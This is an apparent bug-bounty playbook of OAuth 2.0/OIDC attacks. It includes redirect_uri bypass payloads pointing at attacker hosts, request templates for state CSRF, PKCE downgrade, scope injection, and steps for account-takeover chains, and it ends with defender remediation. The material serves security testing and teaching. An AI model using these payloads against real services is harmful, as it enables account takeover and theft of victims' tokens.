| name | oauth |
| description | OAuth 2.0 / OIDC attacks — redirect_uri bypass, state CSRF, code leak via Referer, response_type confusion, PKCE downgrade, scope creep, ATO chains. |
| metadata | {"when_to_use":"oauth oidc authorization_code redirect_uri client_id state pkce","mitre_attack":"T1528, T1212","subdomain":"authentication","upstream_ref":"skills/_corpus/payloads/OAuth Misconfiguration/"} |
OAuth / OIDC Attack Playbook
OAuth bugs are the single highest-paying ATO vector in modern bug
bounty. Every B2B SaaS has an OAuth surface; many implement it wrong.
1. Map the flow
curl -s https://target/.well-known/openid-configuration | jq
Capture a normal flow in Burp. Note: client_id, redirect_uri, state,
scope, response_type, code_challenge (PKCE).
2. Attack surface
2.1 redirect_uri bypass
The #1 OAuth bug class. Server's allowlist regex is too loose:
| Bypass | Example |
|---|
| Path append | https://target.com/callback/../../evil |
| Subdomain wildcard | https://target.com.evil.com/cb (server matches *.target.com) |
| Userinfo trick | https://target.com@evil.com/cb |
| Path-traversal in fragment | https://target.com/cb#@evil.com |
| Open-redirect chain | redirect_uri=https://target.com/known-redirect?to=evil.com |
| Localhost / loopback | redirect_uri=http://localhost:1337 (often allowlisted) |
data: URI | redirect_uri=data:text/html,<script>... (rare but devastating) |
| Mixed-protocol | http:// accepted where https:// required |
| URL-encoded slash | https://target.com%2Fcallback%2F@evil.com |
| Different fragment behavior | redirect_uri=https://evil.com#https://target.com/cb |
Test ALL of these. paramspider + Burp Intruder w/ payload list = systematic.
2.2 State parameter missing / weak (CSRF)
state should bind the auth request to the user's session. Missing or
predictable state → attacker initiates OAuth in own browser, sends victim
the URL, victim clicks → attacker's account now linked to victim's identity.
GET /authorize?response_type=code
&client_id=...
&redirect_uri=https://target.com/cb
&state= ← empty or predictable
2.3 PKCE downgrade
Public clients (mobile, SPA) SHOULD use PKCE. If server accepts
code_verifier omission for a flow that should require it:
POST /token
client_id=mobile-app
code=<stolen_code>
# Note: no code_verifier sent
Some servers fall back to non-PKCE flow → stolen code exchanges fine.
2.4 Code reuse / replay
Some servers don't invalidate codes after first exchange. Capture the
code (via referer leak, IDOR, log scrape) → exchange in attacker's
session for victim's tokens.
2.5 Referer leak of code
Some apps render auth-callback as a regular page that fetches resources
from third-party CDNs. The full URL (including ?code=...) is sent in
Referer header to those CDNs. Attacker who owns / can compromise a
CDN link extracts the code.
Test: visit the callback URL, observe Referer to all third-party hosts.
2.6 Scope creep / mass-assignment in token request
POST /token
grant_type=authorization_code
code=...
scope=read write admin ← inject elevated scope
Some servers honor a scope parameter at token-exchange time and don't
re-validate against original /authorize scope.
2.7 response_type confusion
The hybrid flow (response_type=code id_token) may behave differently:
- Server returns id_token in URL fragment (visible client-side)
- Then code exchange for access_token
- Sometimes the id_token validation is weak/skipped on response_type variations
2.8 client_id confusion
Some servers trust client_id as the only identifier. If two clients
share a redirect_uri pattern, you can re-use one's code as another:
client_id=trusted-internal-app
redirect_uri=https://attacker.com/cb (also allowlisted for trusted app!)
2.9 OAuth → Account Takeover chain
The classic ATO via OAuth:
- Victim signs in to target via OAuth (Google/Microsoft)
- Attacker finds open-redirect or XSS on target
- Attacker crafts OAuth init URL w/ redirect_uri pointing to attacker via open-redirect
- Victim clicks → server issues code → redirected to attacker's host w/ code in URL
- Attacker exchanges code for victim's tokens → full ATO
2.10 Account-linking vulnerabilities
"Sign in with Google" can link a NEW Google account to an EXISTING email-password account if the server matches solely by email. Attacker registers victim@target-mail.com (a typosquat or sub-add), starts OAuth, links to victim's existing account.
3. Tools
oauthtoolkit — Tom Hudson's automation
- Burp Pro OAuth flow scanner
oauth2-test Python lib for fuzz
- ZAP Scripting (OAuth modules)
- Manual w/ Repeater (most flaws need careful semantic work)
4. PoC pattern
- Capture normal flow
- For each parameter (redirect_uri, state, scope, response_type, client_id, code_challenge), fuzz w/ Burp Intruder using the bypass list above
- On any deviation (302 to attacker host, token issued with elevated scope, etc) — capture as evidence
- Construct ATO chain: combine OAuth bug w/ open-redirect OR XSS for victim-clicks-link → tokens delivered to attacker
5. Severity calibration
| Bug | Typical |
|---|
| redirect_uri bypass on real client → code to attacker | Critical 9.8 (full ATO) |
| Missing state on social-login | High 8.0 (one-click account hijack) |
| Scope creep accepted | High 8.0 |
| PKCE downgrade on public client | High 7.5 |
| Code reuse accepted | High 8.0 |
| Open-redirect chain extension only | Medium 6.0 |
| Account-linking via email | High-Critical depending on impact |
6. Defender remediation
- Exact-match
redirect_uri (case-sensitive, full URL, no path manipulation)
- Mandatory non-empty unpredictable
state bound to session
- Invalidate codes on first use; short TTL (≤ 60s)
- PKCE required for ALL public clients
- Server-side scope validation: reject
scope in token request that exceeds the original /authorize scope
- Never link OAuth identity to existing account by email alone — require explicit user confirmation
Cross-references
- Upstream catalog:
skills/_corpus/payloads/OAuth Misconfiguration/
- ATO chaining:
skills/exploit/web/ato-methodology/SKILL.md
- Open-redirect chains:
skills/exploit/web/open-redirect/SKILL.md
Known exemplars
- Microsoft 2020: $50k OAuth ATO chain on Teams via redirect_uri
- Slack 2017: $4-8k bounties on multiple redirect_uri bypasses
- Github 2019: OAuth scope creep bug for $5k
- Frans Rosén's writeup on OAuth bugs (one of the best resources)
- Hackerone disclosure #341876 — Asana account-linking via email